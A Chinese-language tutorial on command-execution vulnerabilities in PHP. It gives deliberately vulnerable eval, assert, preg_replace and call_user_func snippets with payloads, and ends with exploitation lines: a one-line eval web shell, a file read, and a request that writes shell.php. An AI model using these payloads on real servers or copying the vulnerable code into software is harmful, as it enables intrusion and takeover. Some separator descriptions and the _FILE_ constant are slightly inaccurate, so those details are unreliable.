命令执行定义

基本定义
命令执行漏洞是指攻击者可以随意执行系统命令，分为远程命令执行(远程代码执行）和系统命令执行两类。
原理
程序应用有时需要调用一些执行系统命令的函数，如PHP中的system、exec、shell_exec.passthru、popen、proc_popen等，当用户能控制这些函数中的参数时，就可以将恶意系统命令拼接到正常命令中，从而造成命令执行攻击。
?

命令执行条件

两个条件
1.用户能够控制的函数输入
2.存在可以执行代码或者系统命令的危险函数
?

命令执行漏洞产生的原因

由于开发人员编写源码时，没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句，并提交服务端执行
命令注入攻击中，Web服务器没有过滤类似system、eval和exec等函数，是该漏洞攻击成功的主要原因。

命令执行漏洞带来的危害

1.继承Web服务程序的权限去执行系统命令(任意代码)或读写文件

2.反弹shell

3.控制整个网站甚至控制服务器进一步内网渗透

管道符号和通用命令符

管道符号
Linux
；前面的执行完执行后面的

|是管道符，显示后面的执行结果

||当前面的执行出错时执行后面的
Windows
&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错，后面的也不执行

|直接执行后面的语句

ll前面出错执行后面的

通用命令符

command1 && command2? ? ? ? ? ? ? ? //command1执行成功才执行command2
command1 | command2? ? ? ? ? ? ? ? //只执行command2
command1 & command2? ? ? ? ? ? ? ? //command1和command2之间互相不影响

远程命令执行漏洞相关函数

在PHP下，允许命令执行的函数有:

eval()

assert()

preg_replace()

call_user_func()

$a($b)

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤，那么就可能造成远程命令执行漏洞。

eval()

<?php
if(isset($_GET['a'])){
	eval($_GET['a']);	
}
else{
	echo "Please input a";
}
?>

payload?eval.php?a=phpinfo();

?assert()

<?php
if(isset($_GET['a'])){
	assert($_GET['a']);	
}
else{
	echo "Please input a";
}
?>

payload??assert.php?a=phpinfo()

?preg_replace()

<?php
if(isset($_GET['a'])){
	//Preg_replace("/\[(.*)\]/e",'\\1',$_GET['a']);	
	Preg_replace("/(.*)/e",'\\1',$_GET['a']);
}
else{
	echo "Please input a";
}
?>

payload? ?preg_replace.php?a=phpinfo()

?call_user_func()

<?php
if(isset($_GET['a'])){
	call_user_func($_GET['a'],$_GET['b']);
}
else{
	echo "Please input a";
}
?>

?payload??call_user_func.php?a=assert&b=phpinfo()

远程命令执行漏洞的利用

远程命令执行漏洞有以下一些利用方式:

?a=@eval($_POST[666]);? ?//—句话木马
?a=print(_FILE_);? ? ? ? ? ? ? ? //获取当前绝对路径
?a=var_dump(file_get_contents('c\windows\system32\drivers\etc\hosts'));? ? ? ? ? ? ? ? //读取文件
?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
1 =shell.php&2=<?php phpinfo()?>? ? ? ? ? ? ? ? ? ? ? ? //写shell